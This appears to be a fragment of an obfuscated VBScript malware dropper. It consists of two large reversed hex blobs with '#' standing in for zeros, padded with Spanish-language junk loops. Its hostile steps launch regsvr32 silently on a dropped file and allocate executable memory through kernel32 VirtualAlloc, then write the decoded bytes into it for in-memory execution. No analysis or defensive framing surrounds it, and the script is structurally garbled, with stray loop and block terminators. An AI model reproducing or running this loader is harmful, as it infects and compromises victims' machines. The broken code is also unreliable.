BB6EBE8#E5DD8#649D3EBDB93C8F7#984#FE388#64D8##5#6#7C668#E5DD8#64BD3EBDB98#6498891#B
E######FF52CDBE8#E59D8#64DD3EBDB93C8F7#984#FE38FFFFEFA38E#1##A192AB8#64D8##4#6#7C66
8#E59D8#64BD3EBDB98#6498891#BE######FF521DBE8#E5BD8#649D3EBDB9CDBE8#E5BD8#64DD3EBDB
93C8F7#984#FE38FFFFEFD78E#1##A1F1AB8#64D8##3#6#7C668#6498######FF521DBE8#E5BD8#649D
3EBDB9CDBE8#E5BD8#64DD3EBDB93C8F7#984#FE38FFFFEF4B8E#1##A171AB8#64D8##3#6#7C668#649
8891#BE######FF521DBE8#E5BD8#649D3EBDB9CDBE8#E5BD8#64DD3EBDB93C8F7#984#FE38FFFFEFEE
8E#1##A1D#AB8#64D8##3#6#7C668#6498####FFFF525#BE######FF521DBE8#E5BD8#649D3EBDB9CDB
E8#E5BD8#64DD3EBDB93C8F7#984#FE38FFFFFFC28E#1##A17#AB8#64D8##3#6#7C668#6498891#BE##
####FF521DBE8#E7FD8#649D3EBDB9CDBE8#E7FD8#64DD3EBDB93C8F7#984#FE38FFFFFF668E#1##91A
EAB8#64D8##3#6#7C668#6498####FFFF525#BE######FF52BDBE8#E7FD8#64DD3EBDB96EBE8#E7FD8#
649D3EBDB93C8F7#984#FE388#64D8##3#6#7C668#6498891#BE######FF52BDBE8#E5BD8#64DD3EBDB
96EBE8#E5BD8#649D3EBDB93C8F7#984#FE388#64D8##3#6#7C668#6498891#BE######FF523C854#84
98144#37983198#######98CC9D84#84B8#254B8#53C9F#87###E#8B3E57#C58####F3898E##A6#55BB
E#F98####F32C8E35##A6#52565A569D127####3#F88E##A6##A6#5#257FF#247FF58#5#5##A6##A6#4
4#4C38#####4#18E#56C98########BB5#BE######1#BB3C8F7#982#874#FE383C9F#87###758B7DBE8
F54BD3EBDB98F5498######FF527EBE8#64FD3EBDB9FEBE8#64BD3EBDB93C8FF19D2#874#FE388#649D
3#BEE257##819A66#EFDB98F559D2EBDB98#64DD3EBDB97DBE8F54BD3EBDB98F5498######FF527EBE8
#64FD3EBDB9FEBE8#64BD3EBDB93C8FF1DD2#878#FE388#64DD3#BE8#649D3EBDB93C9F#87###758B8B
BE8F54B85#57##129A66#EFDB98FD5FD2EBDB98#64DD3EBDB96#BE8#649D3EBDB9AEBE4277######FFD
3B287#C9#3C8F7#982#874#FE38######FF52D377##FFD3663487#C9#663C9F#87###758B1DBE8F54B8
5#57##129A66#EFDB98FD5FD2EBDB98#64DD3EBDB96#BE8#649D3EBDB9AEBE42C7#88F3892F7F78F388
93C8F7#982#874#FE388377F78F38######FF523C9F#87###758B1DBE8F54B85#57##129A66#EFDB98F
D5BD2EBDB98#64DD3EBDB96#BE8#649D3EBDB9AEBE4277####FFFFD3B287#C9#3C8F7#982#874#FE38#
###FFFF52D387#C9#66A#BE######FF523C9F#87###758B4CBE8F54B85#57##129A66#EFDB98FD5FD2E
BDB98#64DD3EBDB96#BE8#649D3EBDB97EBE42C7FFFF#8##D3B2F7####F7FFD33C8F7#982#874#FE388
91#BE######FF523C9F#87###758BFCBE8F54B85#77##CFD738B#57##129A66#EFDB98FD7FD2EBDB98#
64DD3EBDB96#BE8#649D3EBDB93C8F7#982#874#FE381387#C9#4#BE####FFFF52C387#C9#66#1BE###
###FF523C9F#87###758B5C87#C584#57FFAF389#97#D472D58CF55B88F54B85157##129A66#EFDB98F
D7FD2EBDB98#64DD3EBDB96#BE8#649D3EBDB93C8F7#982#874#FE38891#BE######FF523C9F#87###7
58B5DBE8F54B85#57##129A66#EFDB98FD5BD2EBDB98#64DD3EBDB96#BE8#649D3EBDB93C8F7#982#87
4#FE38891#BE######FF52###12CD5E5F5B5CE988F982#87FF586#274155FFC1D7B88#64B88157B841C
E385E9835756555#9#9#9#9#9#9#9#9#9##8#2CD5E5F5B5CE989F#82###5#8B7ABEC285D8CA575#C287
38667#473#C28738668#34B8##8#2CD5E5F5B5CE98######738E#535##A6##A6A247#C58##B8#1##14C
D#8D8#D1#5##E1C6#B82#2E1CA4AC923457FA662FCF#1##148CFB3#B866AC98#1##148DD#B834479#B3
38668157B841D5B84#CE385E9835756555FFFFEF2F9EFFFFDFAB8E#1##13#486#5#E98FFFFFF4#9EFFF
FDFCC8E#1##13#386#5#E98FFFFFF619EFFFFDFED8E#1##13#286#5#E98FFFFFF829EFFFFDF#F8E#1##
13#186#5#E98FFFFFFA39EFFFFEF2#8E#1##13##86#5#E98FFFFFFC49EFFFFEF418E#1###3#F86#5#E9
8FFFFFFE59EFFFFEF628E#1###3#E86#5#E98FFFFFF#79EFFFFEF838E#1###3#D86#5#E9828BEFFFFEF
748E#1###3#C86#5#E9819BEFFFFEF658E#1###3#B86#5#E98#ABEFFFFEF568E#1###3#A86#5#E98FAB
EFFFFEF478E#1###3#986#5#E98EBBEFFFFEF388E#1###3#886#5#E98DCBEFFFFEF298E#1###3#786#5
#E98CDBEFFFFEF1A8E#1###3#686#5#E98BEBEFFFFEF#B8E#1###3#586#5#E983CCC1#C#4#F8FEBE9F#
82###5#8B##412CD5E5F5B5CE988F#C1342D4B29F98ED2E7C98C#2795####7#F28E25357515#1BE3842
472D58#1B8#1##54C35#2##E1CDACF8157B842D7B8E23E8#34F83#F89#A64157FF#1BE38#2D5B8C1D4B
84#CE385E9835756555CCBE#C13BB47#C588135FF75##A6#1###48986##A61#A6CE424#3855CD424#38
55##A6##A6##8#2CD5E5F5B5CE984#9E38CFD4B8#327####1#4A8ECD424#3855C#67FFF#47##C#E7385
457#C588135FF754D57FF#1###48986##A61#A6CE424#3855CD424#3855##A6##A64F54FF9457#C5841
35FF75#1###48986#1###364861#A6##A64D424#3855########4E547C####CD547C66F1B8########8
F547C#########F547CCFD498######9A8E75251535#5E3B84##C388154B8CE56984C924##E1C#48C98
4FD4984#E4B88#65B84157B83E98#3CE385E98357565557EBE9F#82###A#8BFEBE9F#82###E#8B###12
CD5E5F5B5CE988F#1###3#3D398#1###343D33#8F98#1###3835398#16C38C#64F88#64F84#64F86#F8
8157FF1525#59227FFFFBFED8E1#A6C157FF#257FF##A6B477#1##C18FFF18#1###3#3D3B8#1###3835
3B84#65FF3533B881D5B8#647##81D7384#CE385E9835756555#9#9#9#9#9#9#9#9#9#93C##5###7C66
F1DD7#9D3EBDB93C7#98######FF527#B83C7#988989667#B83C7#98####FFFF527#B83C7#98897#B83
C##5###7C66F1DDF2FD3EBDB9########4#747C3C1#77F7FFFFFFF318##4#2CD5E5F5B5CE988F5F2E3D
FF8#87D8DA3C98DACF#######9#BD8213E4#84B84154B84#CE385E98357565553EBECF3498#E1D4#4C3
8####643B8E35##4#2CD5E5F5B5CE988F#C2E95####648A8E#5##A675153515857C98312795####A#27
8E##A635154157FF15CF3498#E1D141C984#4C38####644E8E35#5E347####4##BD3DA3C98DA15CF#1#
7D8443E8#B84154B84#CE385E9835756555##8#2CD5B5CE98####9#3C8E33FFC#57FF##A6#1##54C3B9
D82#3E1CB1B8#1D5B84#CE385E983555##412CD5E5F5B5CE989F#82###5#8B29BEC2#5D879575#C2873
8667#473#C28738668#34B8##412CD5E5F5B5CE
988FE92E95#13C38#25498A#27####4#3A8E#3FF25#257FF4257FF9347##8338#1##14CD#8D88C1#5##
E1C6#B84#EE382#1E1C#1##148DD#3#9D7F14A557FA662F#1##148CFB2#B866#1##148DD#B81585479#
B338666#BE8#35B85#47#4##3#7F66AD98CFE843D8C157B881D5B841D4B84#CE385E9835756555#9#9#
9#9#9#9#9#9#9#9#9#9#9#9#948BE9F#87###6#8BFFFFFF8558F##C58####745A8EFFFFEFCF424#1855
####74EE8E##A6##A6C#57FFFFA6FFFFEFCF424#1855####1#4#86##A6##A6#CBE9F#8###43#8B7C57#
C58####743E8E35FFFFDFCF424#1855####84938EFFFFDFCF424#1855#1##742686FFFFDFCF424#1855
#1##74#686##8#2CD5B5CE988F8#47#C58####84C18E35FFFFDFCF424#1855####84#68E##A6##A6#15
7FFFFA6FFFFDFCF424#1855####1###86##A6##A63C984747#C58####84F78EC#57FF####2#4#CE185E
9835557EBE9F#87###E#8BFEBE9F#87###758B###12CD5E5F5B5CE988FFFFFEF4F58B8FFFFEF8F59B8F
FFFEFCFD8B8FFFFEFDF28F#3#BF38FFFFEF4F5898#198D277C#AF38FFFFFF##59B831BEFFFFEF8F5898
5A3FCFFFFFFF##5BD87C98FFFFEFCFD89891272#2EABF#95A5######1648F##C58####84AE8E##A6152
#1E1C2515######E648F#9C58ABBE14BAF5958C1#9E1D2#37##2EABF##1##144CD#B88D7F8C9814####
##1958F#FA662F9E1D2#37##2EABF##1##144CD#B8#1##14#9FB15753F47#28F3866F347#C5866DA669
C13######EB48F#######6#2C7F######AC9E######AA48F#668F38661DBE2#AEABF#6#57278F3866DD
BE1#AEABF#6#57968F38667247D38F3866FE47#28F3866######DF48F##C5866DA66341#2E38FFFFFF#
#DBD8######6F48F#6F5881D947B8CF4155B8FFFFEF4FD998FFFFEF8FD998FFFFEFCFD998BD13####1#
C#CE185E98357565557EBE9F#87###E#8BFEBE9F#82###E#8B##812CD5E5F5B5CE988F8#349881#4F84
1#4F8#1#4F8C##4F88##4F84##4F8##F89247#C58####A4##8E##A6C1A6#5758347#C58####A4D58EC1
57FF1525#56327######158E##A6#257FF4257FF8257FF#565744#E7B88#37B841D5B84527####1#1C8
E8157FFC157FFA647##C1D7384#CE385E9835756555#9#9#9#9#99DBE7977#1C1D7381EBE#82###E#8B
8EBE#82###3#8BFEBE#82###1#8B##422CD5E5F5B5D9CE98#C13####E#FD8EFFFFDFCE424#1855F#27#
###3#CB8EFFFFDFCE424#1855####4#738EFFFFDFCE424#1855B227####3##B8E#357FF#137FFD#47##
#3D7383147###1B7383627CF56B84135FF8157FF3#77#14#B7384C987527####3#538E8#27FF23FFC#3
7FF15FFFFDFCE424#1855C#C#D8CC923#1E1C223E######1958F#8#B4B3B#BEF23E##A6##A6##A6##A6
##A6E#77#14#B7388#A4B8C255B8CF5698EEBE######2B48F#BD5881B5B8D#474#35B38#B5B881D5B8C
155B8FFFFDF8F5898FFFFDF4F5898FFFFDF#F5898FFFFDFCE5898#C13######ED48F##C58####B44A8E
#257FF#1###48986####2#41CE185E98C935756555#FBE#82###1#8B##812CD5E5F5B5CE98CF54B84C2
E4#7C3871984#35B85#BE#82###6#CF547CFFFFFFFF7#7C4EBE2#47BD5881B5B881479585#C588#4C38
####B4#F8E#533FF#5158#B5B841D5B8DA82D7B8C157B8#2D4B8########CF547C8547#C58####C4128
E8157FF#1###489864#CE385E9835756555###12C#8###41#8B##8#2C#8###41#8B5EBE#C13####C4F#
8E#1###34#86####C4F18E35##4#2CD5E5F5B57#47#C58####C4A28E#54#34D841D5B85E9835756555#
#4#2C####C4938E#54##4D84#4244B86EBE#C13######4#8E4157FF3#984154B8##C#2CD5E5F5B5CE98
#8###42#8B########3#7C4157#C58####C41B8E8157FF#1###48A865257#C58####C42C8E8157FF#1#
##48C86C1D5B8####1#48CE185E9835756555FEBE####C4E98E#1###38#86##8#2C#C13####C43B8E#1
###38#86F#57##8#42C7389EBE#87###E#8B#FBE#84#1##18B###12CD5E5F5B5CE98#F98######1A8E3
56C98######348E35C157FF#257FF8#34F84#34F83#F8#1##14##861#A6#1###38253FF####D4##8E#1
###34#863C987447#C58####D4A#8E##A6C#A6D457##81D7384#CE385E9835756555##4#2C#4#C13##4
#2C#4#C13EEBE#C133#984154B8##C#2CD5E5F5B5CE98#8###42#8B3#98#157#C58####D4398E8157FF
#1###48A861257#C58####D44A8E8157FF#1###48B86C1D5B84#CE385E9835756555BEBE#84#1#118B3
#98C1D5B8##C#2CD5E5F5B5CE98######518E#1###4CF868157FFC157FF9147#C58####D46E8E4157FF
#1###48D864#CE385E9835756555##8#2CD5E5F5B5CE98#C13#8####1##1###3#15#7C4#CE385E98357
56555BEBE#87###5#8B2FBE#87###6#8B3CD5E5F5B5CE98####D41E8ECF57FF6157#C588F55FF#1###3
#153FF#1###473868257#C588F55FF#1###3#153FF#1###485868F5498####D4EF8ECF57FF#1##14188
6CF54986447#C58####E4C#8E#1##1457868#CE385E9835756555FFFFFF4#9E#8####1##1###3#15#7C
BEBE#87###5#8B2FBE#87###6#8B3CD5E5F5B5CE98####E4B58ECF57FFCE55FF8F57FFC157#C58#F55F
F8F57FF##A6##A61#A6#1###4#186#5#44#4C38####E4FB8E#1###4#186#457#C584F55FF#1###3#153
FFFFFFEF8E424#1855##A6##A6##A6##2###6#86##A68F424#3855##A6####E4CE8EFFFFEF8E424#185
5#1##14F686#1###47386#1##149686CE55FF8F57FF######B858F##C58#F55FF8F57FF##A6##A62#A6
FFFFDF4E424#1855#5#44#4C38####F4538EFFFFDF4E424#1855######9B58F##C584F55FF#1###3#15
3FFFFFFEF8E424#1855##A6##A6##A6##2###6#86##A68F424#3855##A6AE2E######FE48F#8D93####
##7F48F##D93CA8##E1C#C13BCF#ACF##294F2#2BB#296F2#2AB1C98####F4798E#56C98####F4D58E#
###F4E98EFFFFEF8E424#1855#1##143686#1###48586#1##144586####F4878E#1###3##53FFFFFFDF
4E424#1855####1#4#86CE5498####F4D88ECF57FF#1##148486#F5498####F4D98ECF57FF#1##14938
64F5498####F4DA8ECF57FF#1##149286CF5498####1#B748F##C58####F4FB8E#1##14C186####2#C1
CE185E98357565553C#4#C133#47#D9##1###38#51B8#1###34#1A##C#2C#4#C13####F48E8E#5#1###
3##3A4#4244B8F#571#8F388#4244B8####################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
#24#####4#############################3######4########8######2##A####36F6C65627E2#4
#####4############################E2######2########7########CB####1647164656E2#6###
##2############################A2######4########6######3#26####1647164696E2#4#####4
############################62######4########5######3##A######36273727E2#4#####4###
#########################E1######8########4######7##8######4737E6F636#C#####4######
######################C1######2########3######4##5########16471646#6#####2#########
###################4#######81#######1######71#7########5646F636####################
##################################86#####68E#######################################
#############################################################2##A#####8############
##########################3##A#####5########46#####648######CB#####7#########1#####
########1#####1######1########1##########2#####9D49####4########9################4#
##############4#####2########1###1###########3#######1#######1##############81#####
#81##62##1#B#12E####E################848F5753##7#1#C4####54#5##D6F636E2C6F6F6456756
44F674E2777777#2D63714F674#2C2B6E696C4F674#######612DCC44B12DC1###AB9#4B42A#D#12D61
62776F627#5#22333E69675###############4######11############FFFF######2#######1###C6
A5D4"
vagh = replace(vagh, "#", "0")
Dim x, y, z
For i = 1 To 500
x = i * 2
y = x + 5
z = x / y
Next
vagh = StrReverse(vagh)
Dim jjd: jjd =
"########3C3CD5A595B5E5F55C3#B84#B8DD3#C1A5B8B4C#B866DD3#42A5B81E57#242C7B34FBE8F3#
D#FC1C7#47#C48CACF#C33FF335F3#B843B894#33EDD3##2A5B881A4B85D3#878245B8C354B83447DE5
8C142C6B87565351525553CD5A595B5E5F55CB87EBE2#47B4F3#87#47B6F3#83F5781748363B8#2E7B8
8#E6B8C167B8C#67B8#3#7B846#C337565351525553C8#4C38######838E#58#4247FF#DFF4#4247FF8
#4C38######B48E#5CEE#E44A86######228E3C#14C381#98FFFFFFFC8E414247FF#DFF##A6814247FF
#####1##86#4A6######E18E1519FAAC4586FFFFFF2F8E##A63C4#42C43#BCB83C1612B8######4#8EA
4A6#DFF4#17FF9#B8######218EE2A6#######58E15E9A4F38886######428E##A6#DFF4#17FF23FF9#
B8######438EE2A61DB8######D38E23A6######B78E158E7A7C3D86######F48E##A61198#######B1
C189#B8#######68E23A643153#8215B89#B8######F68E22A6#DFFC#4C38######2B8E158DD3A61A86
######688E##A623FF65754#A615######498E64A611B8######D98EE2A68#6C38######4A6BB813B8#
#####FA8E23A6437C3893B8######BB8E22A6#DFF4#17FF259#B8######AC8EE2A611B8######3D8E23
A6####1#118E15867A7C2D86######5E8E##A6##1###7#1#7C9#B8######4F8E23A6FFFFFF3358F#ACB
39#B8####1#5#8EA3A611981#2C3811B8####1#318E63A6#DFFC#4C38####1#658E158DD3A61A86####
1#A28E##A613FF2565#177FF#59#B8####1#B38EE2A61CB8####1#448E64A643153#9#B8####1##58E2
2A6C#15B89#B8####1#C58E62A6133#####1#568EE3A64117B89#B893B8####1#378E62A6#DFFC#4C38
####1#6B8E15FC418EB586####1#A88E21A613FF2582A6####1#698E62A6113#####1#F98EE3A6#D3##
#####8F2C18C325B811B8####1#3B8EE1A6127F####1#CB8E63A6######828B########1#7C####1#EC
8E63A6#DFF15252#A6####1#BD8EA3A66#2C3811B8####1#7E8E22A6####2#528E15FC418EB586####1
#9F8E21A6#DFFC#4C38####2#C38E158DD3A61A86####2##18E##A613FF43#7FF654577FF259#B8####
2#328EE2A61#B8####2#C28E22A613B8####2#538EE3A693B8####2#E38E22A61DB8####2#748E63A6#
DFF13FF4377FF#527FF#####3##86#4A69#B8####2#168EE2A693B811B8####2#C68E22A6####2#AA8E
15E6A159C986####2#E78E##A6#DFF13FF4327FF9#B8####2#E88EE2A611B8####2#798E22A6####2#5
D8E152F#173#D86####2#9A8E21A6#DFF13FF##A6##A6##A6##A64#A6##A6##A62575####2#4C8E24A6
11B8####2#DC8EA2A693B8####2#6D8EE2A6####3#418E15613BEF8886####2#8E8E##A6#DFF1575###
###8F869#B8####2#AF8E22A6AF3#93B8####3#5#8EE3A6C315B89#B8####3#118EE1A6####3#F48E15
FC418EB586####3#328E21A6#DFF13FF23FF#4A6####3#238EE1A61DB8####3#B38EE3A6####3#978E1
5FC418EB586####3#D48E21A6######441#7C9#B8####3#C58EA2A6####3#A68E######8C8623A6####
3#678EC#A6E2A6####3#F78E#4A6A2A6####3#888E42A662A6####3#198E######4F8622A6####3#D98
EC3A6E1A69398####3#1A8EA4A61198####3#AA8EE3A6C24245B81198824245B8####3#BB8E24A6CFB8
B5#################################################################################
#####################C6##C6##46##47##E6######23##33##C6##56##E6##27##56##B6######E4
8E#6"
For i = 1 To 750
a = i * 3
b = a - 7
c = a / b
Next
jjd = StrReverse(jjd)
Dim contador
Dim resultado
Dim suma
Dim valorActual
For i = 1 To 1000
listaNumeros.Add i, i * 3
Next
shell.Run "reg" & "svr32.exe /I /S """ & sssf & """", 0, True
Dim mensajeFinal
Dim frase
For i = 1 To 500
frase = "Este es el ciclo número " & i & ". "
mensajeFinal = mensajeFinal & UCase(Left(frase, 10)) & LCase(Mid(frase, 11,
Len(frase) - 10))
Next
Loop
With gfgfqawcvwav
.Register "kernel32.dll", "VirtualAl" & "loc", "i=puuu", "r=p"
Next
Dim gghsqq: gghsqq = .VirtualAlloc(0, Len(te) + 1, 4096, 64)
For i = 1 To Len(te) Step 2
.NumPut Eval("&H" & Mid(te, i, 2)), gghsqq, (i - 1) / 2
Next
Dim ggg, jj1
For i = 1 To UBound(ggg, 1)
For j = 1 To UBound(ggg, 2)
ggg(i, j) = i * j
jj1 = jj1 & ggg(i, j) & vbTab
Next
jj1 = jj1 & vbCrLf
Next
Dim resultadoOperacion
Dim valor1, valor2, operador
valor1 = 10
valor2 = 5
For i = 1 To Len(cadenaEntrada)
cadenaResultado = cadenaResultado & Chr(Asc(Mid(cadenaEntrada, i, 1)) + 1)
Next
End With
End Sub
Sub hrd()
Dim resultadoFinal
Dim variable1, variable2, variable3
variable1 = "VB"
variable2 = "Script"
variable3 = "Ejemplo"
For i = 1 To 100
resultadoFinal = resultadoFinal & UCase(variable1) & LCase(variable2) &
Mid(variable3, 1, 3) & vbCrLf
Next
SystemType = ObjItem.SystemType
Next
Dim matrizDatos, resultado
For i = 1 To UBound(matrizDatos, 1)
For j = 1 To UBound(matrizDatos, 2)
matrizDatos(i, j) = i * j
resultado = resultado & matrizDatos(i, j) & vbTab
Next
resultado = resultado & vbCrLf
Next
valor1 = 10
valor2 = 5
Function fgwdd(hhgdd)
Dim cadenaResultado
Dim cadenaEntrada
For i = 1 To Len(cadenaEntrada)
cadenaResultado = cadenaResultado & Chr(Asc(Mid(cadenaEntrada, i, 1)) + 1)
Next
Dim jjjjg
Dim variable1, variable2, variable3
variable1 = "VB"
variable2 = "Script"
variable3 = "Ejemplo"
For i = 1 To 100
jjjjg = jjjjg & UCase(variable1) & LCase(variable2) & Mid(variable3, 1, 3)
& vbCrLf
Next
hh = "VB"
hhjgh = "Script"
gfgfgf = "Ejemplo"
For i = 1 To 100
For j = 1 To 5
kkhkh = kkhkh & UCase(hh) & LCase(hhjgh) & Mid(gfgfgf, 1, 3) & vbCrLf
Next
Next
End Function
Dim resultadoOperacion
Dim valor1, valor2, operador
valor1 = 10
valor2 = 5
End Sub